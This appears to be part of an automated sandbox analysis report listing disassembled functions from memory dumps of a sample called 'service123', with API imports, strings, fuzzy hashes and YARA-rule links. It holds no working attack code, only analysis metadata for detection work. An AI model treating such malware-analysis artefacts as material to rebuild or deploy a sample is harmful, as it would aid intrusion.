Instruction ID: 01b467fe573a309f832c08ff2937e8e0b541a4d1bb11c3a6492106d6fc580e21
Opcode Fuzzy Hash: b998857cfac834ea90c841618a268e5fe5148bac5297beeaf426a59295ae7696
Instruction Fuzzy Hash: D8313770A093018FDB20AF2AC54C7177BF0BB46729F15865DEC688B2D0DB35D945CBA2

Function 6C17FCE0 Relevance: 7.6, APIs: 5, Instructions: 78synchronizationCOMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 6C17FCEC
ReleaseSemaphore.KERNEL32 ref: 6C17FD7C
CreateSemaphoreW.KERNEL32 ref: 6C17FDC7
WaitForSingleObject.KERNEL32 ref: 6C17FE10

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID: Semaphore$CreateObjectReleaseSingleWaitmalloc
String ID:
API String ID: 2768075653-0
Opcode ID: 7892f51f517aaf015614a1dd402c9efdd4d960584ca34fd2eef7ce65e0ef7d4e
Instruction ID: 4df5994c9de19f634755d21a3036506164f8bd72107c4402a497a7918d8434f6
Opcode Fuzzy Hash: 7892f51f517aaf015614a1dd402c9efdd4d960584ca34fd2eef7ce65e0ef7d4e
Instruction Fuzzy Hash: B43105706093018FDB24AF2AC64C7577BF1BB46729F11865CEC688B2C0DB35D845CBA2

Function 6C238520 Relevance: 7.6, APIs: 5, Instructions: 64stringCOMMON

Download Yara Rule

APIs

setlocale.MSVCRT ref: 6C238535
strlen.MSVCRT ref: 6C238583
memcpy.MSVCRT ref: 6C2385A0
setlocale.MSVCRT ref: 6C2385B4
setlocale.MSVCRT ref: 6C2385EA

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID: setlocale$memcpystrlen
String ID:
API String ID: 4096897932-0
Opcode ID: 676eacc72d04a063060b390e455bac85230ed854c3b3807edfd55fff25416168
Instruction ID: 3573c630e7ab35ceb27ffa0c25762326254a1b330aa36a60510e7330582700c9
Opcode Fuzzy Hash: 676eacc72d04a063060b390e455bac85230ed854c3b3807edfd55fff25416168
Instruction Fuzzy Hash: D821C2B5A0E3519FD340AF29D48065EFBE0AF88258F45896EE9C9C7701E338C9448F92

Function 6C189530 Relevance: 7.6, APIs: 5, Instructions: 59COMMON

Download Yara Rule

APIs

_lock.MSVCRT ref: 6C189549
_unlock.MSVCRT ref: 6C189571
calloc.MSVCRT ref: 6C1895BF

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID: _lock_unlockcalloc
String ID:
API String ID: 3876498383-0
Opcode ID: 2d85fe9eb4c66546544eacb675d5450fb1bd51e5c271a4006a92a239dbcf87c3
Instruction ID: 7812bce9bf5667377002b554177174937dc96d1eecdb4cf836e1b2aec505bf9b
Opcode Fuzzy Hash: 2d85fe9eb4c66546544eacb675d5450fb1bd51e5c271a4006a92a239dbcf87c3
Instruction Fuzzy Hash: B6114C7150A211CFD7409F28C49079ABBE0BF85344F1585AAD898CF785EB38D844CF92

Function 6C180290 Relevance: 7.5, APIs: 5, Instructions: 32memoryCOMMON

Download Yara Rule

APIs

CreateSemaphoreW.KERNEL32 ref: 6C1802BC
TlsAlloc.KERNEL32(?,?,?,?,?,?,?,?,?,?,6C1804DE), ref: 6C1802CA
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,6C1804DE), ref: 6C180300

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID: AllocCreateErrorLastSemaphore
String ID:
API String ID: 2256031600-0
Opcode ID: 89e4ed8012f4cc2d88eb19a3c6effbbb5ff00bc9e14eea951ac4fb84311d8990
Instruction ID: a631283d40cdb0fc65f4f1d35c8ffc077687dfbf1ccde330b8f70dd4c3ca96ba
Opcode Fuzzy Hash: 89e4ed8012f4cc2d88eb19a3c6effbbb5ff00bc9e14eea951ac4fb84311d8990
Instruction Fuzzy Hash: 45F030B050E7018FD7007F69C45C31A7AB0BB42724F508A5CE86A87AD0E7384018CF53

Function 6C20B990 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 432COMMON

Download Yara Rule

Strings

H$l, xrefs: 6C245240
T$l, xrefs: 6C2451F8
4#l, xrefs: 6C244FDC, 6C245363, 6C24537B

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID:
String ID: H$l$T$l$4#l
API String ID: 0-3682138084
Opcode ID: 81e6113506a6d3dab0655b2967b754909df0a6404ccd769f2a4b7f22de7031f1
Instruction ID: 09466ae50d302c1352f8c26bcc6b5f98c0a4b3eed9a8c78d3a7d2a41dac4eb9f
Opcode Fuzzy Hash: 81e6113506a6d3dab0655b2967b754909df0a6404ccd769f2a4b7f22de7031f1
Instruction Fuzzy Hash: 34E1ABB0209B1C8BE715BF34C4805BEBAA1BF45A48F01AC2DD8C56BB41DF7885499BD7

Function 00054BFA Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 242COMMON

Download Yara Rule

Strings

@, xrefs: 00054647
(null), xrefs: 00054C27

Memory Dump Source

Source File: 00000008.00000002.4151336310.0000000000051000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00050000, based on PE: true

Associated: 00000008.00000002.4151308074.0000000000050000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000008.00000002.4151426615.000000000005A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000008.00000002.4151479804.000000000005E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000008.00000002.4151516962.0000000000061000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_50000_service123.jbxd

Similarity

API ID:
String ID: (null)$@
API String ID: 0-1380778734
Opcode ID: 0432c64da66f4af4f75a3c82b5726ea448a0a96ce94a531bcc475c609f188b20
Instruction ID: a45b1dbd1faaee1037480bd3a0d94eeb72b8718f47900796ac9dbd8a529d92ec
Opcode Fuzzy Hash: 0432c64da66f4af4f75a3c82b5726ea448a0a96ce94a531bcc475c609f188b20
Instruction Fuzzy Hash: FFA18D356083558BDB718F2480803EBBBE1BF8571AF148A1DECD897242E735D98D9B82

Function 6C1852CA Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 242COMMON

Download Yara Rule

Strings

(null), xrefs: 6C1852F7
@, xrefs: 6C184D17

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID:
String ID: (null)$@
API String ID: 0-1380778734
Opcode ID: e9a5c5f9abdb8641fa1a52ab82ac93c71c5129f3ce85c5862775930afc180a45
Instruction ID: d291d4db30fd7deb785e979c0ec78ae77eef1fd8573e7552ac9da56c865194d0
Opcode Fuzzy Hash: e9a5c5f9abdb8641fa1a52ab82ac93c71c5129f3ce85c5862775930afc180a45
Instruction Fuzzy Hash: A7A18E7160E3558BD721CF24D0A079ABBE9BF86308F158A1DE8D987741DB39D50ACF82

Function 00051B00 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 211COMMON

Download Yara Rule

Strings

Unknown pseudo relocation protocol version %d., xrefs: 00051DF3
%d bit pseudo relocation at %p out of range, targeting %p, yielding the value %p., xrefs: 00051C20
Unknown pseudo relocation bit size %d., xrefs: 00051C6D

Memory Dump Source

Source File: 00000008.00000002.4151336310.0000000000051000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00050000, based on PE: true

Associated: 00000008.00000002.4151308074.0000000000050000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000008.00000002.4151426615.000000000005A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000008.00000002.4151479804.000000000005E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000008.00000002.4151516962.0000000000061000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_50000_service123.jbxd

Similarity

API ID:
String ID: Unknown pseudo relocation bit size %d.$ Unknown pseudo relocation protocol version %d.$%d bit pseudo relocation at %p out of range, targeting %p, yielding the value %p.
API String ID: 0-1286557213
Opcode ID: c0dcbd165983f0aa3b77a2e59f939016688034ff95496bc311d59c4dbc3f5b8f
Instruction ID: d97bab13b50757f0d9aab7586b51c54c3f1929a3655a16778284a59813ca0a3e
Opcode Fuzzy Hash: c0dcbd165983f0aa3b77a2e59f939016688034ff95496bc311d59c4dbc3f5b8f
Instruction Fuzzy Hash: A0816B71A007058BDB10DF28D8947DFBBF1FF85342F14862AEC98A7255E335E8198B92

Function 6C17A850 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 187COMMON

Download Yara Rule

Strings

%d bit pseudo relocation at %p out of range, targeting %p, yielding the value %p., xrefs: 6C17A970
Unknown pseudo relocation bit size %d., xrefs: 6C17A9BD
Unknown pseudo relocation protocol version %d., xrefs: 6C17AB43

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID:
String ID: Unknown pseudo relocation bit size %d.$ Unknown pseudo relocation protocol version %d.$%d bit pseudo relocation at %p out of range, targeting %p, yielding the value %p.
API String ID: 0-1286557213
Opcode ID: 1cf96a75e0c60edf50956433a04bd8e80789702e49f85638280497c52e4674f7
Instruction ID: 97f0200af742c990b098c7e1c0113dbcd86fd303087efaffa7f82fa8a30f148c
Opcode Fuzzy Hash: 1cf96a75e0c60edf50956433a04bd8e80789702e49f85638280497c52e4674f7
Instruction Fuzzy Hash: 3D719D32A0420A8BDB20CF6AC48579EB7F4FB45354F159529D954EBB44E330E865CBB2

Function 000580D8 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 19stringCOMMON

Download Yara Rule

APIs

setlocale.MSVCRT ref: 000580F2
strchr.MSVCRT ref: 00058102
atoi.MSVCRT ref: 00058113

Strings

., xrefs: 000580F7

Memory Dump Source

Source File: 00000008.00000002.4151336310.0000000000051000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00050000, based on PE: true

Associated: 00000008.00000002.4151308074.0000000000050000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000008.00000002.4151426615.000000000005A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000008.00000002.4151479804.000000000005E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000008.00000002.4151516962.0000000000061000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_50000_service123.jbxd

Similarity

API ID: atoisetlocalestrchr
String ID: .
API String ID: 1223908000-248832578
Opcode ID: ada1008d35e41e10e64cf9da6c6253745884d5c573850742e5c05c36619c67f5
Instruction ID: ebbbac82be46106378c4de116e97765f1d301088179feb6510dc3f68961b5df6
Opcode Fuzzy Hash: ada1008d35e41e10e64cf9da6c6253745884d5c573850742e5c05c36619c67f5
Instruction Fuzzy Hash: 71E0E671944B014AD7407F34C90B35B75D56B40301F45CC5CDC8497246DF79984A9756

Function 6C189128 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 19stringCOMMON

Download Yara Rule

APIs

setlocale.MSVCRT ref: 6C189142
strchr.MSVCRT ref: 6C189152
atoi.MSVCRT ref: 6C189163

Strings

., xrefs: 6C189147

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID: atoisetlocalestrchr
String ID: .
API String ID: 1223908000-248832578
Opcode ID: c2b570a3904f17255e6178cae360b51e0f0771d8f4e0b0ba75ebf925efdecfd1
Instruction ID: 4675a8c04985c3ae01c6aa2c36aac8a36e88920b2d112d3b277c56a0dd0323da
Opcode Fuzzy Hash: c2b570a3904f17255e6178cae360b51e0f0771d8f4e0b0ba75ebf925efdecfd1
Instruction Fuzzy Hash: 60E0ECB590A7118AD7007F38C41939AB6E1BB81308F85886CD49997744EB7D94499B92

Function 6C189293 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32 ref: 6C18929F
GetProcAddress.KERNEL32 ref: 6C1892B3

Strings

SystemFunction036, xrefs: 6C1892A8
advapi32.dll, xrefs: 6C189298

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: SystemFunction036$advapi32.dll
API String ID: 2574300362-1354007664
Opcode ID: 5d7e3b6710dafe9ae0bbe89e991404c154710825d7a026533f03d8b519153ce4
Instruction ID: 70ee516d0aea9ead7d86cdde9e3542d4e6fbc74a8dd106e422add247032c817a
Opcode Fuzzy Hash: 5d7e3b6710dafe9ae0bbe89e991404c154710825d7a026533f03d8b519153ce4
Instruction Fuzzy Hash: 34E0B6F29992008FCB00BF79950B04AFBF0BA0A735F41496AE889A7640E7349464CF97

Function 6C181409 Relevance: 6.5, APIs: 3, Strings: 1, Instructions: 482COMMON

Download Yara Rule

Strings

5, xrefs: 6C1814D2

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID:
String ID: 5
API String ID: 0-2226203566
Opcode ID: 8bbe5fff4a071700c27a1c2faf10e97911cde319dc9ce94418fd9c17849f3675
Instruction ID: d967d4d4d6479bf6c3c390417dc290d179baeafb63a3daec9eb12ca5fdde0952
Opcode Fuzzy Hash: 8bbe5fff4a071700c27a1c2faf10e97911cde319dc9ce94418fd9c17849f3675
Instruction Fuzzy Hash: 2C22FF76A0A7408FD720DF29C484B5ABBE1BF89318F118A2EE9D997710D774E844CF42

Function 6C209F20 Relevance: 6.4, APIs: 2, Strings: 2, Instructions: 366COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 6C209FEC
memset.MSVCRT ref: 6C20A04E

Strings

8O%l0, xrefs: 6C20A1F4, 6C20A200
8O%l0, xrefs: 6C209FF1, 6C20A00D

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID: memset
String ID: 8O%l0$8O%l0
API String ID: 2221118986-1859321042
Opcode ID: 6cb7d497e073623ff1bf4630c263ba23c90c61b194e6daed940c61cd392b1169
Instruction ID: 43fe48c33ecb7f110f5e6738d4a4913a5fc625c4ed7dbc9b3c1131b4900abc44
Opcode Fuzzy Hash: 6cb7d497e073623ff1bf4630c263ba23c90c61b194e6daed940c61cd392b1169
Instruction Fuzzy Hash: E7F1277570920ACFC711DF29C484A0AB7F1FB86319F59866EEC588B751DB32E906CB81

Function 6C17A340 Relevance: 6.3, APIs: 5, Instructions: 98stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 6C17A3C5
memcpy.MSVCRT(?,?,?,?,?,?,?,?,?,6C18C41C), ref: 6C17A3E0
free.MSVCRT ref: 6C17A3EA

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID: freememcpystrlen
String ID:
API String ID: 2208669145-0
Opcode ID: 4e4ef28e9c13911ecb782708a819556e23daef69adeb0fb89622d0e2e1623a16
Instruction ID: ae41693f7a531e1480ab557a6b20f6658dad2d83011d6e82e4c28b82eb84587e
Opcode Fuzzy Hash: 4e4ef28e9c13911ecb782708a819556e23daef69adeb0fb89622d0e2e1623a16
Instruction Fuzzy Hash: 4231C67260A7118BD3209F19D48831FBBF1EFD1758F291A2CDAE647B40D336D4558BA1

Function 6C1C5C40 Relevance: 6.3, APIs: 2, Strings: 2, Instructions: 308COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 6C1C5D74
memchr.MSVCRT ref: 6C1C5D93

Part of subcall function 6C238520: setlocale.MSVCRT ref: 6C238535

Strings

-, xrefs: 6C1C5F72
., xrefs: 6C1C5D85

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID: memchrmemcpysetlocale
String ID: -$.
API String ID: 4291329590-3807043784
Opcode ID: 18516585d7e82a406c725dec92b98b8d6406a25997f6ce1fa3c71ad3cd44a01c
Instruction ID: 24f01624d7155e8367aa365d177e434328e8c868bb09a52acfbeb0ccf09d261e
Opcode Fuzzy Hash: 18516585d7e82a406c725dec92b98b8d6406a25997f6ce1fa3c71ad3cd44a01c
Instruction Fuzzy Hash: 41D149B1A083198FCB00DFA8C08469EBBF1BF58344F15866AE8A4EB755D734D945CF92

Function 6C1C6080 Relevance: 6.3, APIs: 2, Strings: 2, Instructions: 306COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 6C1C61AE
memchr.MSVCRT ref: 6C1C61CD

Part of subcall function 6C238520: setlocale.MSVCRT ref: 6C238535

Strings

., xrefs: 6C1C61BF
6, xrefs: 6C1C63B6

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID: memchrmemcpysetlocale
String ID: .$6
API String ID: 4291329590-4089497287
Opcode ID: ff70fd0291c725ea94fbad4d6a27cbc23f60646658647e2e7956d519bcd8cfae
Instruction ID: 6d94cfc5903508d9fe0ac3f9131f2e2fae10aeeee6e003a90772a5d487671133
Opcode Fuzzy Hash: ff70fd0291c725ea94fbad4d6a27cbc23f60646658647e2e7956d519bcd8cfae
Instruction Fuzzy Hash: B6D14DB1A093598FCB00DFA8C48069EBBF0BF99304F15862AE8A4E7751D734D945CF92

Function 6C240F90 Relevance: 6.3, APIs: 3, Strings: 1, Instructions: 283stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 6C240FD5

Strings

basic_string::append, xrefs: 6C24104D, 6C241059, 6C24114C, 6C24120C

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID: strlen
String ID: basic_string::append
API String ID: 39653677-3811946249
Opcode ID: cfbfef6c0ffb3ed1b666ca2283e98a42c9e9b50a7892e21e1378ecd35b17602f
Instruction ID: 6b60a936d85b5b4ce6c5207665fa9fd92f331c3ff55eb33c6b160da4f8bd0d88
Opcode Fuzzy Hash: cfbfef6c0ffb3ed1b666ca2283e98a42c9e9b50a7892e21e1378ecd35b17602f
Instruction Fuzzy Hash: B6A14AB1A082199FCB04EF68C58469EBBF5FF89314F40C569EC988B744D734E859CB92

Function 6C1DB2D0 Relevance: 6.2, APIs: 3, Strings: 1, Instructions: 153COMMON

Download Yara Rule

APIs

memmove.MSVCRT(00000000,?,?,6C1D997F), ref: 6C1DB336
